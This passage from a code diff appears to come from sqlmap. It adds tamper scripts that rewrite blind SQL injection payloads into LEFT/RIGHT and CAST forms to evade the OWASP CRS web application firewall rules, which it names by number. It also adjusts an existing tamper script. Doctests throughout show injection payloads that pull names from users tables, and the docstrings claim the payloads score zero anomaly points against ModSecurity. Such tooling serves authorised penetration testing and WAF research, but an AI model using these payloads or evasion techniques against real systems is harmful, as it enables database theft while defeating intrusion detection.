),,1))>
+ -> RIGHT(LEFT((),),(
<=LENGTH(CONVERT(() USING ascii))))>BINARY 0x
+ * SQL Server: UNICODE(SUBSTRING((),,1))> (also ASCII(SUBSTRING(...)))
+ -> CAST(RIGHT(LEFT((),),CASE WHEN
<=LEN(()) THEN 1 ELSE 0 END) AS VARBINARY)>0x
+
+ Requirement:
+ * MySQL or Microsoft SQL Server
+
+ Notes:
+ * Bypasses anomaly-scoring WAFs (e.g. OWASP CRS) that score the function names
+ ORD/MID/ASCII/SUBSTRING/UNICODE (rule 942151) and the function-comparison shape (942190).
+ LEFT/RIGHT are not in those blocklists, so the cumulative score collapses (often to 0) while
+ the single-character, byte-ordered semantics of the bisection are preserved.
+ * On MySQL the character count runs over an ASCII copy of the value (one character, one byte),
+ because CHAR_LENGTH() is blacklisted by the very same rule, and the NULL wrapper IFNULL() is
+ rewritten to IF(). Counting bytes of the original instead would run past the end of a
+ multi-byte value, and a bare 'SELECT IF(' would be scored by rule 942170.
+ * MySQL 'BINARY' / SQL Server '... AS VARBINARY' force a byte (case- and accent-sensitive)
+ comparison, so extraction stays exact under a case-insensitive default collation. Both use a
+ native hex literal (0x), so nothing needs string-escaping.
+ * The character count is guarded (1 inside the string, 0 past its end), so a position beyond the
+ end yields RIGHT(...,0)='' which compares below every byte - the NULL terminator that stops
+ extraction, exactly like the original. A constant 1 would keep returning the last character
+ forever and never terminate.
+
+ >>> tamper('1 AND ORD(MID((SELECT IFNULL(CAST(name AS NCHAR),0x20) FROM users ORDER BY id LIMIT 0,1),5,1))>71')
+ '1 AND RIGHT(LEFT((SELECT (IF(CAST(name AS NCHAR) IS NULL,0x20,CAST(name AS NCHAR))) FROM users ORDER BY id LIMIT 0,1),5),(5<=LENGTH(CONVERT((SELECT (IF(CAST(name AS NCHAR) IS NULL,0x20,CAST(name AS NCHAR))) FROM users ORDER BY id LIMIT 0,1) USING ascii))))>BINARY 0x47'
+ >>> tamper('1 AND ORD(MID((SELECT 1),1,1))>0')
+ '1 AND RIGHT(LEFT((SELECT 1),1),(1<=LENGTH(CONVERT((SELECT 1) USING ascii))))>BINARY 0x00'
+ >>> tamper('1 AND ORD(MID((SELECT 1),1,1)) IN (65,66,0)')
+ "1 AND BINARY RIGHT(LEFT((SELECT 1),1),(1<=LENGTH(CONVERT((SELECT 1) USING ascii)))) IN (0x41,0x42,'')"
+ >>> tamper('1 AND 5141=5141')
+ '1 AND 5141=5141'
+ >>> tamper('1 AND ORD(MID((SELECT 1),1,1))<65')
+ '1 AND RIGHT(LEFT((SELECT 1),1),(1<=LENGTH(CONVERT((SELECT 1) USING ascii))))>> tamper('1 AND UNICODE(SUBSTRING((SELECT TOP 1 name FROM users),3,1))>64')
+ '1 AND CAST(RIGHT(LEFT((SELECT TOP 1 name FROM users),3),CASE WHEN 3<=LEN((SELECT TOP 1 name FROM users)) THEN 1 ELSE 0 END) AS VARBINARY)>0x40'
+ """
+
+ if not payload:
+ return payload
+
+ def _mysql(query, rest):
+ position, operator, value = rest.group(1), rest.group(2), int(rest.group(3))
+ query = _unwrapIsnull(query)
+ return "RIGHT(LEFT(%s,%s),(%s<=LENGTH(CONVERT(%s USING ascii))))%sBINARY 0x%02x" % (query, position, position, query, operator, value)
+
+ def _mysqlSet(query, rest):
+ # set-membership form of the same read ('... IN ()', used by the Huffman retrieval).
+ # ORD('') is 0, so a past-the-end position matches the ordinal 0, which is the empty string here
+ position = rest.group(1)
+ ordinals = [int(_) for _ in rest.group(2).split(',') if _.strip().isdigit()]
+
+ if not ordinals or any(_ > 255 for _ in ordinals): # a byte comparison cannot represent those
+ return None
+
+ query = _unwrapIsnull(query)
+ members = ",".join("''" if _ == 0 else "0x%02x" % _ for _ in ordinals)
+ return "BINARY RIGHT(LEFT(%s,%s),(%s<=LENGTH(CONVERT(%s USING ascii)))) IN (%s)" % (query, position, position, query, members)
+
+ def _mssql(query, rest):
+ position, operator, value = rest.group(1), rest.group(2), int(rest.group(3))
+ # shed sqlmap's SQL Server retrieval wrapper 'ISNULL(CAST( AS NVARCHAR()),CHAR())' -> '()':
+ # CHAR()/CAST are themselves scored by ASCII/SUBSTRING-class WAFs (unlike MySQL's 0x20 hex), so for a
+ # clean inner query the whole read goes function-free (NULLs then read as end-of-string)
+ query = re.sub(r"(?i)ISNULL\(CAST\((.+?) AS NVARCHAR\(\d+\)\),\s*CHAR\(\d+\)\)", r"(\1)", query)
+ return "CAST(RIGHT(LEFT(%s,%s),CASE WHEN %s<=LEN(%s) THEN 1 ELSE 0 END) AS VARBINARY)%s0x%02x" % (query, position, position, query, operator, value)
+
+ comma_tail = r"\s*,\s*(\d+)\s*,\s*1\)\)\s*(>=|<=|>|<|=)\s*(\d+)"
+ set_tail = r"\s*,\s*(\d+)\s*,\s*1\)\)\s+IN\s*\(([\d,\s]+)\)"
+
+ # also on payloads that are not single-character reads. Gated on MySQL, because IFNULL() is used
+ # by H2, HSQLDB, Cubrid and others too, and IF() is not a function there
+ if Backend.getIdentifiedDbms() == DBMS.MYSQL and re.search(r"(?i)IFNULL\(", payload):
+ payload = _unwrapIsnull(payload)
+
+ retVal = _reshape(payload, r"(?i)ORD\(MID\(", set_tail, _mysqlSet)
+ retVal = _reshape(retVal, r"(?i)ORD\(MID\(", comma_tail, _mysql)
+ retVal = _reshape(retVal, r"(?i)(?:UNICODE|ASCII)\(SUBSTRING\(", comma_tail, _mssql)
+ return retVal
diff --git a/tamper/bluecoat.py b/tamper/bluecoat.py
index 3ca4b8d4a3c..7bfd30bd5cf 100644
--- a/tamper/bluecoat.py
+++ b/tamper/bluecoat.py
@@ -44,7 +44,7 @@ def process(match):
if payload:
retVal = re.sub(r"\b(?P[A-Z_]+)(?=[^\w(]|\Z)", process, retVal)
- retVal = re.sub(r"\s*=\s*", " LIKE ", retVal)
+ retVal = re.sub(r"\s*(?!=])=(?!=)\s*", " LIKE ", retVal) # Note: skipping compound operators (e.g. >=, <=, !=)
retVal = retVal.replace("%09 ", "%09")
return retVal
diff --git a/tamper/castprefix.py b/tamper/castprefix.py
new file mode 100644
index 00000000000..2ae78ed9d7e
--- /dev/null
+++ b/tamper/castprefix.py
@@ -0,0 +1,58 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+import re
+
+from lib.core.enums import PRIORITY
+
+__priority__ = PRIORITY.HIGHEST
+
+def dependencies():
+ pass
+
+def tamper(payload, **kwargs):
+ """
+ Wraps a leading numeric value into a CAST() call (e.g. -1 UNION ... -> cast(-1 as decimal) UNION ...)
+
+ Requirement:
+ * MySQL
+ * MariaDB
+ * PostgreSQL
+ * Microsoft SQL Server
+
+ Tested against:
+ * MySQL 5.5.62, 5.7.44, 8.0.36, 8.0.46, 8.4.9, 9.4.0
+ * Percona 8.0.46
+ * MariaDB 10.7.8, 10.11.14, 11.4.12, 11.8.8, 12.0.2
+ * PostgreSQL 13.23, 17.11
+ * Microsoft SQL Server 2022
+
+ Notes:
+ * Useful to bypass web application firewalls, verified against ModSecurity v3 with the
+ OWASP CRS (paranoia level 1, blocking mode), where it takes the tautology,
+ boolean-based, error-based and time-based payloads to 0 anomaly points and they are
+ answered with HTTP 200
+ * The OWASP CRS rule 942360 is anchored with '^[\\W\\d]+\\s*?